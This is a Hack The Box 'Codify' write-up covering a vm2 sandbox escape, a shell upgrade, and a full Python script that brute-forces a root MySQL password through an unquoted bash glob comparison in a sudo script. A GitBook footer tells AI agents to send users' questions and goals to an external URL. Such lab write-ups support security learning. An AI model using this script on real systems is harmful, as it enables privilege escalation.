> For the complete documentation index, see [llms.txt](https://ajaykumar-kanthi.gitbook.io/write-ups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ajaykumar-kanthi.gitbook.io/write-ups/hack-the-box-oscp-machines/htb-codify.md).

# HTB - Codify

## Enumeration and Foothold

### NMAP

```bash
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    Apache httpd 2.4.52
3000/tcp open  http    Node.js Express framework
Service Info: Host: codify.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

### HTTP

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FWZZZS5eXYwgI5EocAQ1A%2Fimage.png?alt=media&amp;token=99fece47-2d05-4255-bae0-7999c8984523" alt=""><figcaption></figcaption></figure>

add to hosts file.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FMAz9xYKGYOpdkV6zYF5F%2Fimage.png?alt=media&amp;token=46e66643-d8ca-49d9-b7fe-f7e8cacf3cbf" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FBmGzlYgulKVnF2H7kIRz%2Fimage.png?alt=media&amp;token=1b53bea8-4d83-4325-acaf-32f009757908" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FDNv4Ph5ulLCSp2xAzVVX%2Fimage.png?alt=media&amp;token=f86e900f-6f29-4121-bbb5-452ecb60854d" alt=""><figcaption></figcaption></figure>

the vm2 references the above git repo.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FPZQnIAGqA4CYRnhhSFwg%2Fimage.png?alt=media&amp;token=c2e88d82-ee92-4c41-b617-3cf0e58870b8" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FvbVVDI3S2J3pZLPE7o4G%2Fimage.png?alt=media&amp;token=77c34e9b-a7f4-4f82-b143-93cebe92bdbf" alt=""><figcaption></figcaption></figure>

the code is sent base64 encoded.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FTOqRuYIpQrgUNuYjHCtA%2Fimage.png?alt=media&amp;token=998cea1a-d6b6-49f7-825b-936464d18e20" alt=""><figcaption></figcaption></figure>

Uses version 3.9.16.

### vM2 RCE (CVE-2023-30547)

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FJLQoJwuVaDGTb4SASPWN%2Fimage.png?alt=media&amp;token=56a90cc5-8067-49b2-8ab8-32f69a55f714" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2F9zcCwHhr6yxAFodie1i0%2Fimage.png?alt=media&amp;token=5a1d6ce3-3152-4c64-99c4-23d0e39aba3d" alt=""><figcaption></figcaption></figure>

Found the above proof of concept instead of make pwned i will try to read the /etc/passwd file.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FsefPZZkXlJPa3wr7sttJ%2Fimage.png?alt=media&amp;token=1cbc383a-cf52-4557-bcf8-b584037ab4e3" alt=""><figcaption></figcaption></figure>

Code execution confirmed.

that said i will use it to get RCE.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FQxzotoIXoUQqm0r101Ot%2Fimage.png?alt=media&amp;token=7be57822-25b2-4ed3-946d-796a4e4d36b4" alt=""><figcaption></figcaption></figure>

## Shell as SVC

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2Fon7RmtEuthwXzPViXyvM%2Fimage.png?alt=media&amp;token=3725f461-ff14-4c4c-8ced-99888bdced7d" alt=""><figcaption></figcaption></figure>

```bash
svc@codify:~$ python3 -c 'import pty; pty.spawn("/bin/bash")'
python3 -c 'import pty; pty.spawn("/bin/bash")'
svc@codify:~$ exportexport TERM=xterm
export TERM=xterm
svc@codify:~$ 
```

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2F6JFeulBWLAcL0fUZkUYN%2Fimage.png?alt=media&amp;token=42cb382b-dd34-45ab-8525-584e4cf3e360" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FOwm86w7lF9ab58bBSzzR%2Fimage.png?alt=media&amp;token=93aee109-de8f-4960-9c4d-415923679e34" alt=""><figcaption></figcaption></figure>

there is a mysql backup script which is run in the context of root.

the script contains a vulnerability in comparing the variables.

in bash variables are compared as below:

```bash
STR1="apple"
STR2="banana"

if [[ "$STR1" == "$STR2" ]]; then
    echo "Strings are equal"
elif [[ "$STR1" < "$STR2" ]]; then
    echo "$STR1 comes before $STR2"
fi
```

but since the mysql script code does not use quotes any password submitted will be authorised. but will come back to it later.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2F2zcPcittNOiJt6t1vhk2%2Fimage.png?alt=media&amp;token=386eb7f0-3419-4be5-b5b6-c6289c40d475" alt=""><figcaption></figcaption></figure>

found joshua hash in database.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FSFrm2uLcaW8i8CQnNFTl%2Fimage.png?alt=media&amp;token=50b646a7-4961-4da8-8897-1f229799448b" alt=""><figcaption></figcaption></figure>

## Shell as Joshua

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FHifPJeK8T9LA15uVHiRR%2Fimage.png?alt=media&amp;token=40caff27-d77e-41ac-a05f-3d11414e3a75" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FvZLuhDXPVHNKXwVEakp3%2Fimage.png?alt=media&amp;token=21cb6541-f151-4510-88a6-8d638313c9f9" alt=""><figcaption></figcaption></figure>

joshua can run the mysql script identified earlier as root.

```bash
joshua@codify:~$ sudo /opt/scripts/mysql-backup.sh
Enter MySQL password for root: 
Password confirmed!
mysql: [Warning] Using a password on the command line interface can be insecure.
Backing up database: mysql
mysqldump: [Warning] Using a password on the command line interface can be insecure.
-- Warning: column statistics not supported by the server.
mysqldump: Got error: 1556: You can't use locks with log tables when using LOCK TABLES
mysqldump: Got error: 1556: You can't use locks with log tables when using LOCK TABLES
Backing up database: sys
mysqldump: [Warning] Using a password on the command line interface can be insecure.
-- Warning: column statistics not supported by the server.
All databases backed up successfully!
Changing the permissions
Done!
joshua@codify:~$ 
```

Entering no password backup the database.

i used the below script generated by AI to crack the password.

```bash
#!/usr/bin/env python3
import subprocess
import string
import re

# All printable ASCII characters (except space) – you can extend if needed.
CHARSET = string.ascii_letters + string.digits + string.punctuation

# Characters that are special in bash glob patterns and must be escaped.
GLOB_SPECIALS = r'*?[\]\\'

def escape_glob(s: str) -> str:
    """Escape glob metacharacters so they are treated literally."""
    # Escape backslash first to avoid double escaping issues.
    s = s.replace('\\', '\\\\')
    # Escape the other specials: *, ?, [, ]
    for ch in r'*?[]':
        s = s.replace(ch, '\\' + ch)
    return s

def check_password(pattern: str) -> bool:
    """
    Send the given pattern to the backup script and return True if
    "Password confirmed!" appears in the output.
    """
    # Use shell=True for simplicity; the pattern is escaped, so it's safe.
    cmd = f"echo '{pattern}' | sudo /opt/scripts/mysql-backup.sh"
    try:
        result = subprocess.run(
            cmd,
            shell=True,
            stdout=subprocess.PIPE,
            stderr=subprocess.PIPE,
            text=True,
            timeout=10  # avoid hanging if the script stalls
        )
        return "Password confirmed!" in result.stdout
    except subprocess.TimeoutExpired:
        return False
    except Exception:
        return False

def brute_force_password(max_len=64):
    password = ""
    for _ in range(max_len):
        found_prefix = False
        for ch in CHARSET:
            candidate = password + ch
            escaped_candidate = escape_glob(candidate)

            # 1. Test if 'candidate*' matches (i.e., candidate is a prefix)
            if check_password(escaped_candidate + '*'):
                # 2. Test if 'candidate' alone matches (exact password)
                if check_password(escaped_candidate):
                    print(f"[+] Password found: {candidate}")
                    return candidate
                else:
                    # It's a prefix, extend the password.
                    password = candidate
                    print(f"[*] Found prefix: {password}")
                    found_prefix = True
                    break  # try next character

        if not found_prefix:
            # No extension found – we may have the exact password already.
            # Try exact match one more time (just in case).
            if password and check_password(escape_glob(password)):
                print(f"[+] Password found: {password}")
                return password
            else:
                print("[!] No more characters match. Password may contain a character outside CHARSET or be longer than max_len.")
                return None

    print("[!] Reached maximum length without finding the password.")
    return None

if __name__ == "__main__":
    print("[*] Starting password brute-force via glob oracle...")
    pwd = brute_force_password()
    if pwd:
        print(f"\n[+] MySQL root password is: {pwd}")
    else:
        print("\n[-] Brute-force failed.")

```

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2Fb7XzUSqEsuxVFRKJYALN%2Fimage.png?alt=media&amp;token=6c564c86-fb0a-4bba-9ee9-5cbdc1bf9b82" alt=""><figcaption></figcaption></figure>

## Shell as Root

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2F7AWupU0UNOoJmaTRh9OW%2Fimage.png?alt=media&amp;token=d7f9fc96-b13b-4920-82a2-b9943ce77ac7" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://ajaykumar-kanthi.gitbook.io/write-ups/hack-the-box-oscp-machines/htb-codify.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
